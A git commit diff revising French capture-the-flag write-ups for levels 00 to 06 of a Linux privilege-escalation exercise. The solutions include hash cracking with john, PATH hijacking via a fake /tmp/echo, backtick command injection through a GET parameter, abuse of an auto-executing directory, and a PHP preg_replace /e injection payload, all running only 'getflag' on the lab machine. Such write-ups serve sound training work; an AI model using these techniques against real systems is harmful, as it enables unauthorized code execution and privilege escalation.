solution corrected and improved level00-06
This commit is contained in:
		
							parent
							
								
									e058c734b6
								
							
						
					
					
						commit
						9a8692883d
					
				|  | @ -55,10 +55,8 @@ flag12:x:3012:3012::/home/flag/flag12:/bin/bash | ||||||
| flag13:x:3013:3013::/home/flag/flag13:/bin/bash | flag13:x:3013:3013::/home/flag/flag13:/bin/bash | ||||||
| flag14:x:3014:3014::/home/flag/flag14:/bin/bash | flag14:x:3014:3014::/home/flag/flag14:/bin/bash | ||||||
| 
 | 
 | ||||||
| On peut voir que flag01 donne une information sur le mots de passe. Il n'est pas en claire mais on peut imaginer qu'il est stoquer sous forme de hash. | On peut voir que flag01 donne une information sur le mot de passe. Il n'est pas en clair mais on peut imaginer qu'il est stocke sous forme de hash. | ||||||
| On va donc utiliser "john". On enresitre le hash dans un fichier, puis on passe se fichier en argument a john. | On va donc utiliser "john". On enregistre le hash dans un fichier, puis on passe ce fichier en argument a john. | ||||||
| 
 | 
 | ||||||
| $ john flag_intermediaire | $ john flag_intermediaire | ||||||
| > abcdefg | > abcdefg | ||||||
| 
 |  | ||||||
| 
 |  | ||||||
|  | @ -2,11 +2,12 @@ Il y a un fichier nommer level02.pcap. Avec une petite recherche google on appre | ||||||
| 
 | 
 | ||||||
| tshark est un utilitaire premettant de lire les fichier pcap | tshark est un utilitaire premettant de lire les fichier pcap | ||||||
| 
 | 
 | ||||||
| -Tfields permet de selectioner des champ specifique, on choisiera le champ data | "-T fields" permet de selectioner des champ specifique, on choisiera le champ data avec "-e data" | ||||||
| 
 | 
 | ||||||
| $ sudo tshark -r Ressource/level02.pcap -Tfields -e data | $ sudo tshark -r Ressource/level02.pcap -T fields -e data | ||||||
| 
 | 
 | ||||||
| avec un convewrtisseur hex to char on obtien: | avec un convertisseur en ligne hex to char on obtient: | ||||||
| 
 | 
 | ||||||
| Password: ft_wandr...NDRel.L0L (avec le '.' qui sont des charactere non inprimable. Ce sont des back-space) | Password: ft_wandr...NDRel.L0L (avec le '.' qui sont des caracteres non imprimables (7F). man ascii => Ce sont des backspace) | ||||||
| 
 | 
 | ||||||
|  | En prenant en compte les backspaces on obtient "ft_waNDReL0L" | ||||||
|  | @ -1,6 +1,15 @@ | ||||||
| On peut voir qu'il y a un executable level03 appartenant a flag03. | On peut voir qu'il y a un executable level03 appartenant a flag03. | ||||||
| Ce fichier execute: echo "Exploit me" | Ce fichier execute: echo "Exploit me" | ||||||
| 
 | 
 | ||||||
| on peut donc changer le PATH. Cree un fichier executable dans /tmp qui execute getflag | on peut donc changer le PATH. Cree un fichier executable nomme echo dans /tmp qui execute getflag | ||||||
| 
 | 
 | ||||||
| quand on execute level03 on obtient alors le flag | # /tmp/echo | ||||||
|  | 
 | ||||||
|  | #!/bin/bash | ||||||
|  | getflag | ||||||
|  | 
 | ||||||
|  | on execute level03 de cette maniere : | ||||||
|  | 
 | ||||||
|  | PATH=/tmp:$PATH ./level03 | ||||||
|  | 
 | ||||||
|  | On obtient alors le flag | ||||||
|  |  | ||||||
|  | @ -1,7 +1,10 @@ | ||||||
| Il y a un script qui fait tourner un serveur | Il y a un script qui fait tourner un serveur | ||||||
| On se rend compte qu'il tourne avec un find / -user flag04 car il est sur le serveur nginx | On se rend compte qu'il tourne avec un find / -user flag04 car il est sur le serveur apache | ||||||
| on voit que le serveur affiche le parametre "x" passe en get avec un echo | on voit que le serveur affiche le parametre "x" passe en get avec un echo | ||||||
| echo peut afficher le resultat de commande avec par exemple echo `ls` | echo peut afficher le resultat de commande si elle mise entre backquotes par exemple "echo `ls`" | ||||||
| on envoi un requete GET /?x=`getflag` avec netcat sur le port 4848 du pc | on envoi un requete GET /?x=`getflag` avec netcat sur le port 4747 du pc | ||||||
| $ nc -v rssweather.com 80 | 
 | ||||||
| le serveur print le flag | $ nc 127.0.0.1 4747 | ||||||
|  | GET /?x=`getflag` | ||||||
|  | 
 | ||||||
|  | le serveur renvoie le flag | ||||||
|  |  | ||||||
|  | @ -2,9 +2,11 @@ avec | ||||||
| $ find / -user flag05 2>/dev/null | $ find / -user flag05 2>/dev/null | ||||||
| > /usr/sbin/openarenaserver | > /usr/sbin/openarenaserver | ||||||
| 
 | 
 | ||||||
| On peut lir le script il execut tout les fichier dans : /opt/openarenaserver/ puis les supprime | On peut cat le script il execute tout les fichier dans : /opt/openarenaserver/ puis les supprime | ||||||
| 
 | 
 | ||||||
| En crean un fichier dans ce dossier on peut observer qu'il est rapidemnt suprimer, donc executer | En creant un fichier dans ce dossier on peut observer qu'il est rapidement suprimer, donc executer | ||||||
| 
 | 
 | ||||||
| il suffit d'avoir un fichier qui contien: | il suffit d'avoir un fichier qui contient: | ||||||
| getflag > /tmp/flag05 | getflag > /tmp/flag05 | ||||||
|  | 
 | ||||||
|  | il sera alors execute et on pourra recuperer le flag dans /tmp/flag05 | ||||||
|  | @ -1,16 +1,20 @@ | ||||||
| On a vu qu'il y avait un script php qi etait executer par un executable. | On a vu qu'il y avait un script php qui est execute par le binaire level06. | ||||||
| C'ette executable prent en argument un fichier et transmet le comptenue du fichier au script php. | Cet executable prend en argument un fichier et transmet le contenue du fichier au script php. | ||||||
| Ce scripte php effectue plusieur regex. | Ce script php effectue plusieurs regex. | ||||||
| 
 | 
 | ||||||
| On a telecharger ce scripte pour l'indenter correctement et pouvoir un peu mieux le lire malgres les regex... | On a telecharge ce script pour l'indenter correctement et pouvoir un peu mieux le lire malgre les regex... | ||||||
| 
 | 
 | ||||||
| Apres quelque recherche sur les regex, preg_replce et /e en php, on a efectuer une simple recherche google: | Apres quelque recherche sur les regex, preg_replace et /e en php, on se rend compte que la ligne : | ||||||
| "ctf preg_replace /e" | $a = preg_replace("/(\[x (.*)\])/e", "y(\"\\2\")", $a); | ||||||
| 
 | 
 | ||||||
| le premier liens etait un exo de ctf remarcablement identique a notre exercice: | est vulnerable, en effet le modifier /e fait que le deuxieme argument de preg_replace sera interprete comme une expression php | ||||||
| https://0x00sec.org/t/how-to-pwned-nebula-level09-php-preg-replace/812 |  | ||||||
| 
 | 
 | ||||||
|  | on remarque qu'on peut utiliser une commande shell en php avec shell_exec, il suffit donc d'entrer l'expression php | ||||||
|  | shell_exec(getflag) | ||||||
|  | dans la regex | ||||||
| 
 | 
 | ||||||
| il faut un ficher avec | il faut un ficher avec | ||||||
| 
 | 
 | ||||||
| [x {${shell_exec(getflag)}}] | [x {${shell_exec(getflag)}}] | ||||||
|  | 
 | ||||||
|  | puis rentrer ce fichier en argument du binaire level06 | ||||||
		Loading…
	
		Reference in New Issue